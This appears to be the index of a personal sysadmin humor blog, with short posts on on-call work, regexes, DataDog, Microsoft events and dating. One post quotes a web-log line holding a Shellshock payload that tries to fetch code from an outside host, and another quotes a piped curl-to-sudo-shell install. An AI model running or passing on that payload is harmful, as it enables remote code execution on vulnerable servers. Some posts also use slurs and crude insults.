Фитоняшеньки ужинают кефирчиком с помидоркой, что бы быть стройными. Мне вот только непонятно, сколько кефирчика надо… Литр хватит?


I’m so proud of my regex! … and of the fact that it works… xD “^\/tmp\/[a-zA-Z0-9-]{0,8}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,16}$”

Go down

Today a man was repeatedly telling me to “go down”. Of course he’s a developer and he’s a frenchie. He simply wanted me to scroll down on the code.   But I didn’t tell him how that phrase sounded to me.  


That feeling, when your keyboard is one of the cheapest mechanical ones, but it still does all the custom gaming lighting.  … and no proprietary software is required…  


Why cheapy stuff like $2 kitty earings ships fast & for free, while u r charged fees and have to wait a week for mechanical keyboard shipping? T_T

Lost forever

Today at WalMart I saw a kid…errr… a teenager/young adult being so happy about his new phone. “It’s big! But big is better, right?! So it’s definitely worth it!” He also said he’s a youtuber (who isn’t those days?) and passed a paper with his channel to the girl working there. (She really had lots … Continue reading Lost forever

Another stalker

Oh, social media! Apparently when someone is visiting your profile over and over again on linked in, LinkedIn sends you a notification saying “Congratulations! You’re the most viewed person in $FuckingJerk’s_Name network.” I don’t care about this persons life and I’m in no contact with him, but apperently he cares about mine and tries to … Continue reading Another stalker

All of them…

The person who I think he is, does not really exist. It’s all in my head…   He’s not a tortured sould that need my special kind of love. It does not to change his behaviour or motives… nor actions.   He’s morally bankrupt and never appreciated any of the things people (or me) did … Continue reading All of them…

What if?

My best friend became a feminazi. The dude I was in love with, still didn’t finish school and still works at the same place. He still plays his guitar and drinks his beer. He didn’t advanced in any aspect of his life. I’m scared to think what would I become if wasn’t forced to change the … Continue reading What if?

Never change

On my fist years of being sysadmin, I’ve facepalmed when finding stuff I’ve done previously. Six years later, after getting into the all fancy devops movement thing, nothing changed.     

Shedding tears of joy

While witnessing mother (50 years old) providing qualified tech support to grandma (80 years old), so confident and professionally sounding. I think she can now have a lvl1 support job… if only she spoke english…


  My facebook feed is filled with “information” about how to understand and act with “introverts”. I didn’t knew “introvert” meant “a special snowflake egocentric attention whore”. Judging by facebook and the amount of reposts/likes, that’s exactly what it means to be an introvert.


The look on the face of a network dude, when you point to the big button “create” on his screen, answering his question on how to create a page. Happens to me all the time, first time I’m on the other side. 


Pain level of someone who puts a big chunk the internet down. At 9:37AM PST, an authorized S3 team member using an established playbook executed a command which was intended to remove a small number of servers for one of the S3 subsystems that is used by the S3 billing process. Unfortunately, one of the … Continue reading Ouch!


Getting phone calls from drunk ex-girlfriends is better than getting calls from her drunk ex-militar father.

WTF Google?

Who’s the retard that decided to move the “View certificate” feature to “Developer Tools”? Why you make me re-teach my parents how to verify the SSL. It’s not so easy for them. Who’s the asshole that makes it more difficult for older people to avoid scam sites?  I want to look them in the eyes.  

Microsoft… derp

So while visiting an Azure training (where I didn’t learn anything new, because everything is just like in Amazon and they didn’t even show the API), I’ve created a new account, because it was required to access the Microsoft’s Azure account temporarily. I was signed in on skype with mother’s account, because had to change something for her … Continue reading Microsoft… derp

Microsoft training

  I love going to Microsoft events. They make me feel like a good and smart sysadmin (because devops is a philosophy and not a profession). People presenting isn’t challenged. They understand linux ways, cloud, devops and all the fancy things… teaching them like they were their own invention and like they’re the cheapest with the best quality. (Come on … Continue reading Microsoft training

Females in videogames

Didn’t you hear that females in video games are over sexualized and that their armor is showing too much? Funny fact: There’s 17 people in my guild(including me) who are currently online in discord 1/14 males have a real picture 2/2 females have their real “cute” pictures 1/2 females are trying to show cleavage.   I’m hesitating … Continue reading Females in videogames

Xmass Gifts

There’s one that I’ll definitely not be giving to anyone ever. Google play gift card. Annoying as fuck & appearing in each youtube video you play, sticking their theme song deep in your head, to the point of giving you a nervous tic.

Computer people…

Sysadmin froze for 2 minutes trying to figure out what the picture on the left means. Sysadmin figured out & LOL. Sysadmin send picture to programmer. Programmer: I don’t get it. What does the picture on the left mean? Sysadmin: echo  $normal_human_interaction Programmer: GetNormalHumanInteractions(); <- undefined Programmer:  compiler abort        

That time of the month…

I had issues waking up and was not motivated to get out of bed. Felt nausea and was irritable as fuck. I felt sick… At 10 my cell sang “the server is on fire”. This explained everything. It’s that time of the month. I’m oncall.  

Google cares about end user comfort

Recently I’ve noticed that the pictures I take with my cell are available to attach when I send e-mails. I only noticed because of the NUDE SELFIES that google so kindly offers me to send…   Thanx Google! I don’t know how I lived without this feature! Writing personal mails at work was so boring without flashing my … Continue reading Google cares about end user comfort

It’s OK to be a retard

…because we all are… and the humanity is doomed anyways… My programmer told that his team was searching for a bug for 2 days… and it also was only one line…   We are all retards. I need a drink.

DevOps Nightmares

I was fired because my commit messages are “inappropriate” and “not professional”. I’ve spent the whole night texting the team lead begging to not fire me, because this is my most favorite job ever. I was trying to explain him, those commits were made when I was 14, before even I started working, and when I … Continue reading DevOps Nightmares


Things I broke today: – monitor (BIG scratch) – laptop monitor (small scratch) – HDMI cable – Nail Remember boys and girls, cable management is as important as password strength. Now, if excuse me, I have to go get me one of those:  

I <3 Gentoo

First time booting from the liveCD, always booted from the mininal-install. It’s actually… pretty!   And penguins can fly, cuz they’re Gentoo 😀   

What’s the point?

Social Engineering are big words that mean nothing in today’s retarded world. What’s the point of calling to activate a credit card if all the info they ask for is on the credit card and all questions that a bank asks you on the phone can rightly be answered by “yes”.

I like to watch

Nov, 2016-11-05 12:21:18 admin Option Nov, 2016-11-05 11:47:57 admin Access Nov, 2016-11-05 11:45:35 admin Access Nov, 2016-11-05 11:45:11 admin Access Nov, 2016-11-05 11:44:57 admin Access Nov, 2016-11-03 18:20:32 root PowerOn Aug, 2016-08-01 15:04:20 admin Option May, 2016-05-21 00:10:47 admin Access May, 2016-05-20 02:43:57 admin Access May, … Continue reading I like to watch


Some  dude posting on facebook, so romantic, so naive… If I date you, I don’t want your passwords, or your phone. I can get all the info I want about you and you will never know, because I’m a sysadmin. I’ll know where and with who you are, all of your interests, what you want to … Continue reading Dudes…

LOL Dude

Hoster contacting ops team telling they can give us a server and a /22. …ops team that has their own cloud providing services to oher customers… Hoster that didn’t bother to even block his wp-admin I feel so bad for them, I want to write a reply “will re-do your website for cheap and install … Continue reading LOL Dude

Online generation

After I’ve exited a metal conert, I saw a message on my cell: “Are you at the same concert than I ?”   Like I’m checking my cellphone in the middle of the moshpit… where big buff dudes run in circles and push each other, when the music plays so loud, that you feel all your internal organs … Continue reading Online generation

I <3 my job

The best words of appreciation I got from a boss so far: “you should teach others to follow you’re example and if they don’t, you have my permission to beat them with a stick”

Sysadmin Power!

SYSADMINS! Warriors of the console! We have to unite! Torvalds, the father of Linux is being kept hostage by Microsoft! We have to do something before it’s too late! The father of the kernel is in danger. Look what they did to the penguin already!!!   Yes, That's Linus Torvalds chatting with us at the … Continue reading Sysadmin Power!

Getting older.

I understand code, better than comments: # if we have a match, then set lowest to index if lowest is not set or if index is lower than lowest if index != -1 and (not lowest or index < lowest):              lowest = index

Bug day

Creating a monitor in DataDog creates 2 of them with an identical name. You can’t exceed the limit of alerts that pingdom allows you, but you can enable a paused alert exceeding the limit. It will work perfectly for what you want if you reconfigure it. Amazon console keeps giving me error 0 messages in … Continue reading Bug day

I’m an evil hacker! MWA HAHAHA!

Apperently, scanning ports on elasticache node that belongs to your account from a VM that belongs to your account is considered as abuse by AWS. […] We’ve received a report(s) that your EC2 instance(s) Instance Id: i-xxxxxxxx IP Address: x.x.x.x has been implicated in activity which resembles scanning remote hosts on the internet for security vulnerabilities. Activity of this nature … Continue reading I’m an evil hacker! MWA HAHAHA!

Anonymous is out of fashion

Next step: suggest to make a page where I put my address, phone number,job location, driver licence,  credit card number and PIN as well as all the other personal info, so my relatives, multimillionaires princes/kings from Africa can find me and give me all their fortune? 

DataDog is like legos, there’s stuff you don’t see, but when you step on it, it’s so painfull.

Why… just why you have a different syntax for trigger and re-trigger alerts? [Re-Triggered on {device:/dev/xvda1,host:testing.blabla.internal}] [testing] Disk space low testing.blabla.internal [Triggered on device:/dev/xvda1,host:testing.blabla.internal] [testing] Disk space low testing.blabla.internal192.168.15.43 Of course, humans never make inattention errors, that can pass QA and leak in prod. Fuck my life… with Regex!

That feeling

…when you finish GTA V & stay there for the credits, because it’s just like finishing a great book, makes you sad… replaced with RAGE because housekeeping is more important than IT people, so appears in credits first? Really? REALLY?! FUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!1111111111 Ok…  I admit there must be something like alphabetical order… but the DAFUG?.jpeg feeling … Continue reading That feeling

It’s way easier that it sounds…

A tuple is a sequence of immutable Python objects. Tuples are sequences, just like lists. The differences between tuples and lists are, the tuples cannot be changed unlike lists and tuples use parentheses, whereas lists use square brackets. Creating a tuple is as simple as putting different comma-separated values. Nail polish, they’re all alike, the … Continue reading It’s way easier that it sounds…

Girls coding…

The things I really need: Sleep A rubber duckie Because spending a couple of hours debugging why a simple comparison of 2 variables (strings) does not work when it should is frustrating, specially, after realizing, those were 2 different strings! It’s normal it did not enter the loop, the script was working properly the whole time, … Continue reading Girls coding…

Microsoft is good

I must admit Microsoft has some good things. Firt is AD, because managing printers, users, etc on Linux is possible, but not the best, specially in large corporations where there are hundreds of hamsters  users. However, AD is not a product that I must touch daily and be happy about. It’s their keyboards. I got it … Continue reading Microsoft is good

Spring: The time of the year when allergies kick in.

All the sysadmins are guilty of “curl -sSL https://install.stackstorm.com/ | sudo sh -s — -r v1.3.2″ There are no exceptions, all of  us were young & dumb. An ubuntu noob, showing off hiz cool compiz cube saying he’s super hacker, will go follow the first tutorial found google to try to fix a problem. That … Continue reading Spring: The time of the year when allergies kick in.

Losing faith on new generation

Seriously, how many times you need to copy paste a “hacking” command in the terminal  before understanding the shit you do does not work? I’m seriously considering donating to a dyslexia charity. It seems to be a big problem among youngest generations… 

Random observations of another internet troll on a Microsoft DevOps hackaton

The dude speaking was wearing a T-shirt. Where’s the suite? Emphasize they love Open Source and are friends with Red Hat “which is a Linux!” Using all those free tools like git & jenkins, but of course offering Microsoft’s “free” alternative. Free up to X users. Once you grow, you’ll have to give your money to … Continue reading Random observations of another internet troll on a Microsoft DevOps hackaton

I haz a sad…

I got a reader! Someone has read my blog! He even shared my kitty picture on faceboook!! And it was not a bot because how he click on stuff and try different things… like remote exec… with typos and stuff… I gue$$ hackerz can be dislexyc t00…

Data Dog

How it’s presented: How I feel using their API: But seriously, why giving the option to send custom payloads in the web hooks if all the info I can send is relative to the event, which does not include {{host.ip}}, {{host.name}} and many other parameters that you desperately need (like tags, host tags, not monitor … Continue reading Data Dog

Awwwwww!!! First attack attempt on my server! So cute! ^_^ – – [27/Apr/2016:09:23:07 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'” – – [27/Apr/2016:10:25:26 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY … Continue reading Awwwwww!!! First attack attempt on my server! So cute! ^_^